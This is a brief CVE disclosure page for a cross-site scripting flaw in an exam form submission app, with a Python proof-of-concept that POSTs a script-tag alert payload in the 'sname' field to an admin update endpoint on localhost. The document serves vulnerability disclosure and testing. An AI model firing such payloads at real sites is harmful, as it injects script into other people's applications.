CVE-2026-5106: Exam Form Submission跨站脚本漏洞

import requests # Target URL configuration target_url = "http://localhost/admin/update_fst.php" # Malicious payload to test XSS xss_payload = "<script>alert('CVE-2026-5106');</script>" # Data to be sent in the POST request # 'sname' is the vulnerable parameter identified in the CVE description post_data = { "sname": xss_payload, # Include other necessary parameters as required by the form (e.g., ID, other fields) # "id": "1" } try: # Sending the POST request response = requests.post(target_url, data=post_data) # Check if the request was successful if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the application response to verify XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")